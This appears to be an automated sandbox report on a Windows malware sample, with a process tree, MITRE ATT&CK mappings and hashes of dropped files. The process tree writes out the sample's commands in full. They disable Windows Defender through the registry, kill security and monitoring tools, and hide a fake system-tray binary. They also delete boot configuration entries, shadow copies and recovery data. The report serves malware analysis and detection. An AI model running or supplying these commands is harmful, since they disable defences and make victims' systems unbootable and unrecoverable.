    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=fr --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,18363714664008404678,5357165686817041418,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:8
    3⤵
    PID:6024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=fr --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5428,i,10149166689155564905,7641478821100803136,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:8
    3⤵
    PID:6040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=fr --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,7275871230156607625,17651703753840142600,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    PID:6048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=fr --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,13828939278218186499,12469658761959436924,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:8
    3⤵
    PID:5676
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,5837544555775702335,2993843444875288208,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:8
    3⤵
    PID:3412
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,5837544555775702335,2993843444875288208,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:8
    3⤵
    PID:5184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4444,i,568721865912729080,18322054414686786001,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:8
    3⤵
    PID:700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4724,i,17042410805611000771,16152830001076853254,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:8
    3⤵
    PID:364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4480,i,11928084638043984094,12628590479037556547,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:8
    3⤵
    PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=fr --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,18223020039946737619,5916047561551463772,524288 --field-trial-handle=2648,i,17282090024549458335,5437069427331267316,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:8
    3⤵
    PID:4192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:1876
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:3616
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:5160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:2872
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:5656
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:5252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:4844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4728
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:5688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:1516
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:1068
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:4792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:5244
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:5296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5720
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:5188
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:1268
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:4620
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:3120
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:4320
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:5760
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5512
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:6040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:2792
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:2528
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:452
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:1644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:1696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:1356
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:4976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5988
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:1644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:5232
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:3060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:468
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:3684
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:5968
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:6016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:4856
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:1220

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1660

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x48c 0x304
1⤵
PID:1080

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1556

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:5188

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5380

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:5412
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:4540
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5960
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:4344
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:5500
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:4944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5404
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:5192
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:5336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:4720
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:2812
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:3860
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:700
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:1372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:6100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:5488
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4008

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
1⤵
PID:696

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f581ea565cf0ece39a0cfdc05cae1573d34e8544d3d072c3f0598034de5e42f8
MD5 c80cb3ee13f62b490ae95d8bb68bb8fa
SHA1 a3baa3d078eae3e3de53faaf8b92df67f056d9e2
SHA512 f385ff91fe9914b069144548f6f36759de4228b81878118a49bc5d05a8f3055bf5724ef0be68d53b91691f095dc1736b8d3458eace80a0e31689f3d0c8f3f5eb
TLSH
T168D09B34F75AE445D1074531582C4711D9199DD014A6870B5160D41CABA401C73BF457
MD5 SHA1 SHA512 TLSH

Submit Download

9ba2ee27-d1cd-41c9-b364-6194675cc82c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\9ba2ee27-d1cd-41c9-b364-6194675cc82c.tmp
Size 12KB
SHA256 06ff3e243b337e0573a8a033617b9e23a853f95a268e7d8c359cd90082b1a4c6
MD5 2b1e5ca4528bb15266c859133bed8c4d
SHA1 10801b6c8a436adefd84de9973506fe00bdeffa2
SHA512 b3895fc1de5498c372f153ad18899e225210c2af13475982f97e6a763d8d53141d48600e14db905821cc22612614334547101219d511146928e3ffca78492ae7
SSDEEP 192:sxZY/yHkKOMl8MjS/fUsrH9JnYEupdyHW6+WNGSnrEsdZIgyJ:sxZY07S/fUsrH9JWkHbG+jO
TLSH
T1D1420B12AB3459778CCBD309FA557B43D3F90563A2940E84AAFCC71C05E6AEC221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 e6e347289bfa7b873f168e582ea112d6acf6163bff14065c11e5f65beb6d9bca
MD5 e3f26dfd7071fa76ef59e9539588d518
SHA1 5f2940908dc9cf3ec0ed065db406d72c9ec40e45
SHA512 90078b64cd7eaf0be8941486a02480039f83f4966d0419a99518db36663ced9c707ea2887e09ae96d72cd0fae3dc6d96ada1d52c0da25ab33ad3d19af0b36a16
TLSH
T1B651FB3776622542DF9C1231BBC00201F2F59191BBD72F6AEAD0B33F9A5DFA2751118A
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 107KB
SHA256 eb28a09ee08dbbbcb59c7daaa38b35c252bf916c01d3c01a4a1ace99d097c963
MD5 aa18b3ac5bea4f12630cd539f473b8f4
SHA1 ee20b406b95fad85e93ac9ff256bf5baed745db6
SHA512 3a9d175e0e2a95dd1aa8423a955b10866005f92c3d55647e9b745037a9a037338d9a4c3dc0b5728df0ac3413d1bf48267425dfdb784785c50edaa9ae28935090
SSDEEP 1536:wfEEMUHqdm31/ZGZqW3UUPDuVepBLU9vlZsC62UMPq:J8HG/Q3lUh
TLSH
T14CB36326D6A54C6B01F12264EC754383F325436F9282A82F3A7C5D5C2FBD93A6642F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 18d942018e86cb86c7d24064b34ba11f69af5e2c29ae68d31263ce4c2c95900e
MD5 db93f026376f43c404f551ebc849f001
SHA1 7543920789f846756ee1f879b1a91774c35038f3
SHA512 2160a90281a9d6e4e820094139837b5f60ab697a01dd5436e71a01f98e01dfb220a09f056c42b3c99d054838c4f7dd1569491d65d92c740ded52435c66b54884
TLSH
T10E21BBF7C3E48A7D8A1182F0BA147E1BCE2D0901931C3C5B85E0AF1B93E69B0E040A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 342621ebb75d67ed7ab20631085c601f51ba59b8540f98f873420aef3de6047f
MD5 b619008dae22ac129b0b460d0e75ecf0
SHA1 e04dfe9fa1781eb3d37bcbea25fa910bce7dba47
SHA512 d1d797029e52f0e15baddd48697d9d460205715811d4766df1ae487f96fc91e2333a5baceaac5a8fa7c5e06781a4e3094c66c1a5c0d9f8790003a68925500281
SSDEEP 192:sxZA/yHkKOMl8MjS/fUsoH9JnYEupdyHW6+WNGSnrEsdZIg5zJ:sxZAE7S/fUsoH9JWkHbG+j7
TLSH
T158420B12AB3459778CCBD319FA557B43D7F90562A2940E84AAFCC71C05E6ADC221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 1cac44a8cdee6d5537c38cc209e741c55a9ca2fa2740f907bc3730d932975e9c
MD5 43ef61ff6452382ec7ed35041a78b03d
SHA1 ff8145962c5cef38e3799047cfa4f874a7c375cd
SHA512 a60b07a12dd792c2b81f7d388d2d9456d2f91be1dacb4b44c54e9c1c5e5457c7a4c66e76bf2a98edc3d841e7a4a10f6797cbbfd46ac54e2e789dcf49bd6dff55
SSDEEP 768:wDgL6XeWviSZq8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXJLlZzaRXroWZjMTYGW:wDgL6XeWviSZqu1jaSJL7+REWDGW
TLSH
T15ED20A3B680CCB7E4F840E5CED26AF876DD801CB6B984D4447FA494C03C76EA512A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 28f21a02c79adcc7b8568b5fa59ba9e4a6f982db13fffbdfa62a4e2cd7ed9cbc
MD5 f56695008642d983ee2755eb6af2fd11
